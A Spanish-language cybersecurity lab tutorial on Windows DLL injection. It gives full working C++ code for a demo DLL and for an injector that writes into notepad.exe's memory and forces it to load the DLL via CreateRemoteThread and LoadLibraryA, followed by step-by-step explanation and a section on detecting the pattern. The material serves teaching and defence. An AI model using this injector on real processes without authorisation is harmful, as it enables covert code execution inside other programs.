La inyección de DLL (DLL Injection) es una técnica de Windows que permite cargar una biblioteca dinámica dentro de un proceso que ya se encuentra en ejecución.
Desde el punto de vista de la ciberseguridad, es un concepto especialmente interesante porque permite estudiar cómo funcionan los procesos, la memoria virtual, los hilos, los handles y las DLL en Windows.
En este laboratorio vamos a utilizar C++ y Visual Studio para construir dos programas:
- Una DLL que mostrará un mensaje cuando sea cargada.
- Un inyector que localizará
notepad.exey realizará la operación necesaria para que Windows cargue nuestra DLL.
El objetivo es realizar una demostración controlada sobre un proceso de laboratorio.
Aviso: este procedimiento debe utilizarse únicamente en sistemas y procesos propios o en entornos donde exista autorización para realizar la prueba.
1. Arquitectura del laboratorio
El laboratorio está compuesto por dos proyectos:
Laboratorio DLL Injection
│
├── Dll1
│ └── Dll1.dll
│
└── Inyector
└── Inyector.exe
El funcionamiento general será:
INYECTOR
│
▼
Busca notepad.exe
│
▼
Obtiene PID
│
▼
Abre proceso
│
▼
Reserva memoria
│
▼
Escribe ruta de la DLL
│
▼
Solicita su carga
│
▼
NOTEPAD
│
▼
Dll1.dll
│
▼
DllMain()
│
▼
MensajeInyectado()
│
▼
MessageBox
La práctica permite observar una característica importante de Windows: un proceso puede interactuar con otro mediante determinadas APIs y permisos.
2. Primera parte: crear la DLL
El primer proyecto contiene la biblioteca dinámica.
El código completo utilizado en este laboratorio es el siguiente:
#include "pch.h"
#include <windows.h>
// Función que se ejecutará dentro de Notepad
void MensajeInyectado() {
MessageBoxA(
NULL,
"¡Inyección DLL Exitosa!\nEl código se está ejecutando dentro de Notepad.",
"Laboratorio de Ciberseguridad",
MB_OK | MB_ICONINFORMATION
);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Creamos un hilo para que Notepad no se congele al recibir el mensaje
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MensajeInyectado, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Esta DLL tiene una función muy sencilla: mostrar una ventana cuando Windows la carga.
3. La función MensajeInyectado()
La función principal de demostración es:
void MensajeInyectado() {
MessageBoxA(
NULL,
"¡Inyección DLL Exitosa!\nEl código se está ejecutando dentro de Notepad.",
"Laboratorio de Ciberseguridad",
MB_OK | MB_ICONINFORMATION
);
}
Aquí utilizamos:
MessageBoxA()
una función de la API de Windows que permite mostrar un cuadro de diálogo.
El mensaje sirve como indicador visual de que la DLL ha sido cargada.
La frase:
El código se está ejecutando dentro de Notepad.
es especialmente interesante desde el punto de vista didáctico porque permite explicar que la DLL ya forma parte del espacio de ejecución del proceso que la ha cargado.
4. DllMain()
Toda DLL de Windows puede disponer de una función denominada:
DllMain()
En nuestro ejemplo:
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
Windows puede invocar esta función ante diferentes acontecimientos relacionados con la DLL.
El parámetro:
ul_reason_for_call
indica el motivo.
Entre los valores utilizados encontramos:
DLL_PROCESS_ATTACH
DLL_THREAD_ATTACH
DLL_THREAD_DETACH
DLL_PROCESS_DETACH
En nuestro laboratorio nos interesa especialmente:
DLL_PROCESS_ATTACH
porque indica que la DLL acaba de asociarse al proceso.
5. Creación del hilo
Cuando se produce:
case DLL_PROCESS_ATTACH:
el código ejecuta:
CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)MensajeInyectado,
NULL,
0,
NULL
);
El objetivo del ejemplo es ejecutar la función de demostración en un hilo independiente.
Hay que tener en cuenta que DllMain tiene restricciones importantes y que, en software real, no conviene introducir operaciones complejas en ella.
Para un laboratorio sencillo como este, la operación permite visualizar fácilmente el resultado.
6. Segundo programa: el inyector
El segundo programa es el encargado de localizar el proceso de Notepad y realizar las operaciones necesarias para cargar la DLL.
El código completo es:
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>
// Función corregida para soportar proyectos en modo Unicode
DWORD ObtenerPIDNotepad() {
DWORD pid = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe)) {
do {
// CORRECCIÓN: Usamos _wcsicmp y L"notepad.exe" para comparar texto Unicode
if (_wcsicmp(pe.szExeFile, L"notepad.exe") == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
}
return pid;
}
int main() {
// Tu ruta exacta
const char* rutaDLL = "C:\\Users\\juan\\source\\repos\\Dll1\\x64\\Debug\\Dll1.dll";
std::cout << "[*] Buscando 'notepad.exe' en el sistema..." << std::endl;
DWORD targetPID = ObtenerPIDNotepad();
if (targetPID == 0) {
std::cerr << "[-] ERROR: No se encontro Notepad abierto. Abre el Bloc de notas antes de ejecutar este programa." << std::endl;
system("pause");
return 1;
}
std::cout << "[+] Notepad encontrado. PID: " << targetPID << std::endl;
// 1. Abrir el proceso con los permisos necesarios
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
if (!hProcess) {
std::cerr << "[-] ERROR: No se pudo abrir el proceso. Codigo: " << GetLastError() << std::endl;
std::cerr << "Nota: Prueba a ejecutar este inyector como Administrador." << std::endl;
system("pause");
return 1;
}
// 2. Reservar memoria en Notepad para escribir la ruta de la DLL
SIZE_T tamanoRuta = strlen(rutaDLL) + 1;
LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, tamanoRuta, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemoteMem) {
std::cerr << "[-] ERROR: No se pudo asignar memoria en el proceso remoto. Codigo: " << GetLastError() << std::endl;
CloseHandle(hProcess);
system("pause");
return 1;
}
// 3. Escribir la ruta de la DLL en la memoria reservada de Notepad
if (!WriteProcessMemory(hProcess, pRemoteMem, (LPVOID)rutaDLL, tamanoRuta, NULL)) {
std::cerr << "[-] ERROR: No se pudo escribir en la memoria de Notepad. Codigo: " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
system("pause");
return 1;
}
// 4. Obtener la dirección de la función LoadLibraryA en el sistema
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32) {
std::cerr << "[-] ERROR: No se pudo obtener el submodulo kernel32.dll" << std::endl;
VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
system("pause");
return 1;
}
LPVOID pLoadLibrary = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
// 5. Crear el hilo remoto para forzar a Notepad a cargar la DLL
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemoteMem, 0, NULL);
if (!hThread) {
std::cerr << "[-] ERROR: No se pudo crear el hilo remoto. Codigo: " << GetLastError() << std::endl;
std::cerr << "Nota: Windows Defender podria estar bloqueando la accion." << std::endl;
VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
system("pause");
return 1;
}
std::cout << "[+] DLL Inyectada con exito. El hilo remoto ha comenzado." << std::endl;
// Esperar a que el hilo termine y limpiar la memoria libre
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
// Cerrar los manejadores
CloseHandle(hThread);
CloseHandle(hProcess);
std::cout << "[+] Proceso de inyeccion finalizado correctamente." << std::endl;
system("pause");
return 0;
}
7. Paso 1: localizar notepad.exe
La función:
DWORD ObtenerPIDNotepad()
se encarga de localizar el proceso.
Primero se crea una instantánea:
HANDLE hSnapshot =
CreateToolhelp32Snapshot(
TH32CS_SNAPPROCESS,
0
);
Después se recorren los procesos mediante:
Process32First()
y:
Process32Next()
La comparación es:
if (_wcsicmp(
pe.szExeFile,
L"notepad.exe"
) == 0)
Cuando se encuentra el proceso, obtenemos:
pe.th32ProcessID
que corresponde al PID.
Por ejemplo:
[+] Notepad encontrado. PID: 12345
8. Paso 2: abrir el proceso
Una vez obtenido el PID:
DWORD targetPID
se solicita un handle mediante:
OpenProcess()
El handle se almacena en:
HANDLE hProcess
Este identificador será utilizado posteriormente para interactuar con el proceso.
9. Paso 3: reservar memoria
El código utiliza:
VirtualAllocEx()
para reservar una región de memoria asociada al proceso objetivo.
La variable:
pRemoteMem
representa la dirección obtenida.
El tamaño depende de:
SIZE_T tamanoRuta = strlen(rutaDLL) + 1;
porque necesitamos almacenar la ruta completa de la DLL y su terminador \0.
10. Paso 4: escribir la ruta
A continuación:
WriteProcessMemory()
copia la ruta de la DLL en la memoria reservada.
Tenemos conceptualmente:
Inyector
│
│ "C:\...\Dll1.dll"
▼
Memoria del proceso objetivo
Esta información será utilizada posteriormente por LoadLibraryA.
11. Paso 5: localizar LoadLibraryA
El código obtiene primero el módulo:
GetModuleHandleA("kernel32.dll")
y posteriormente busca la dirección de:
LoadLibraryA
mediante:
GetProcAddress()
La idea es obtener una referencia a una función capaz de cargar una DLL.
12. Paso 6: creación del hilo remoto
La operación central del laboratorio aparece aquí:
CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLibrary,
pRemoteMem,
0,
NULL
);
Conceptualmente, el hilo recibe como función:
LoadLibraryA
y como argumento:
ruta de la DLL
El resultado es que el proceso objetivo solicita la carga de la biblioteca.
13. ¿Qué sucede dentro de Notepad?
Una vez cargada la DLL, Windows procesa la entrada correspondiente a:
DLL_PROCESS_ATTACH
de nuestro:
DllMain()
Entonces se ejecuta:
CreateThread(...)
que termina llamando a:
MensajeInyectado()
y finalmente:
MessageBoxA()
Por eso aparece la ventana del laboratorio.
El recorrido completo es:
Inyector
│
├── Encuentra Notepad
│
├── Obtiene PID
│
├── OpenProcess
│
├── VirtualAllocEx
│
├── WriteProcessMemory
│
├── GetProcAddress
│
└── CreateRemoteThread
│
▼
Notepad.exe
│
▼
LoadLibraryA
│
▼
Dll1.dll
│
▼
DllMain
│
▼
MensajeInyectado
│
▼
MessageBoxA
14. Limpieza de recursos
El programa también realiza una limpieza después de la operación.
Primero espera a que termine el hilo:
WaitForSingleObject(
hThread,
INFINITE
);
Después libera la memoria:
VirtualFreeEx(
hProcess,
pRemoteMem,
0,
MEM_RELEASE
);
Y finalmente cierra los handles:
CloseHandle(hThread);
CloseHandle(hProcess);
Es una parte importante del ejemplo porque permite explicar que los recursos asociados a procesos e hilos deben gestionarse correctamente.
15. ¿Qué veremos al ejecutar el laboratorio?
Si notepad.exe está abierto y el programa puede interactuar con él, el inyector mostrará mensajes similares a:
[*] Buscando 'notepad.exe' en el sistema...
[+] Notepad encontrado. PID: 12345
[+] DLL Inyectada con exito. El hilo remoto ha comenzado.
[+] Proceso de inyeccion finalizado correctamente.
Y el proceso objetivo mostrará el mensaje definido en la DLL:
¡Inyección DLL Exitosa!
El código se está ejecutando dentro de Notepad.
Esto proporciona una demostración visual sencilla del funcionamiento del laboratorio.
16. APIs importantes de la práctica
| API | Función |
|---|---|
CreateToolhelp32Snapshot | Obtener información sobre procesos |
Process32First | Obtener el primer proceso de la instantánea |
Process32Next | Recorrer los procesos |
OpenProcess | Obtener un handle del proceso |
VirtualAllocEx | Reservar memoria asociada al proceso |
WriteProcessMemory | Escribir información en esa memoria |
GetModuleHandleA | Obtener un módulo cargado |
GetProcAddress | Obtener la dirección de una función |
CreateRemoteThread | Crear un hilo asociado al proceso objetivo |
LoadLibraryA | Cargar una DLL |
WaitForSingleObject | Esperar a que termine un objeto sincronizable |
VirtualFreeEx | Liberar memoria |
CloseHandle | Cerrar handles |
17. ¿Por qué es importante en ciberseguridad?
La técnica permite estudiar una frontera especialmente interesante entre programación de sistemas y seguridad.
Desde una perspectiva defensiva, un analista puede observar determinadas combinaciones de eventos relacionadas con:
- apertura de procesos;
- acceso a memoria de otros procesos;
- escritura en memoria;
- creación de hilos;
- carga de módulos;
- comportamiento de procesos.
Una secuencia de operaciones como:
OpenProcess
↓
VirtualAllocEx
↓
WriteProcessMemory
↓
CreateRemoteThread
↓
LoadLibrary
puede ser relevante para una herramienta de monitorización.
Sin embargo, es importante no interpretar automáticamente una API aislada como una evidencia de malware. Herramientas legítimas de depuración, instrumentación o administración pueden utilizar mecanismos relacionados.
18. DLL Injection y análisis defensivo
Una ampliación muy interesante de este laboratorio consiste en pasar de la ejecución a la detección.
Por ejemplo, se puede utilizar una herramienta de monitorización para observar qué ocurre cuando se ejecuta el inyector.
El objetivo sería identificar:
¿Quién abrió el proceso?
↓
¿Quién escribió memoria?
↓
¿Se creó un nuevo hilo?
↓
¿Qué módulo se cargó?
↓
¿Qué proceso originó la operación?
De esta forma, el laboratorio puede evolucionar desde una demostración de programación hacia una práctica completa de detección de comportamientos sospechosos en Windows.
19. Conceptos
Esta práctica permite explicar de forma conjunta:
Procesos
Un proceso representa una instancia de un programa en ejecución.
PID
Identificador utilizado por Windows para identificar un proceso.
Handles
Referencias utilizadas para trabajar con diferentes objetos del sistema.
Memoria virtual
Cada proceso dispone de su propio espacio de memoria virtual.
DLL
Bibliotecas dinámicas que pueden ser cargadas por las aplicaciones.
Hilos
Un proceso puede contener múltiples hilos de ejecución.
API de Windows
Conjunto de funciones proporcionadas por Windows para interactuar con el sistema operativo.
Seguridad
Windows controla mediante permisos qué procesos pueden interactuar con otros procesos.